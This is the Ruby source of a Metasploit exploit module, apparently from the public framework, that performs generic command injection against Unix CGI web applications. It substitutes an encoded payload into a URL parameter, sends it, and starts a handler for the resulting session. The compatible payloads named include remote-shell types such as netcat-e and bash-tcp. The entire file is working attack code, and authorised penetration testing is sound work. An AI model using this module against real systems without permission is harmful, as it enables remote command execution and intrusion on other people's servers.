generic_exec.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Generic Web Application Unix Command Execution',
        'Description' => %q{
          This module can be used to exploit any generic command execution vulnerability
          for CGI applications on Unix-like platforms. To use this module, specify the
          CMDURI path, replacing the command itself with XXcmdXX. This module is currently
          limited to forms vulnerable through GET requests with query parameters.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [ ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 1024,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd cmd_bash',
                          'RequiredCmd' => 'generic perl telnet netcat netcat-e bash-tcp',
                        }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '1993-11-14', # CGI historical date :)
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
      ]
    )
  end

  def exploit
    uri = datastore['CMDURI'].to_s
    uri, query = uri.split('?', 2)

    if query
      query = query.split('&').map { |var|
        k, v = var.split('=', 2)
        Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
      }.join('&')
      uri = uri + '?' + query
    end

    print_status("Sending HTTP request for #{uri}")
    res = send_request_cgi({
      'global' => true,
      'uri' => uri
    }, 30)

    if res
      print_status("The server responded with HTTP CODE #{res.code}")
    else
      print_status("The server did not respond to our request")
    end

    handler
  end
end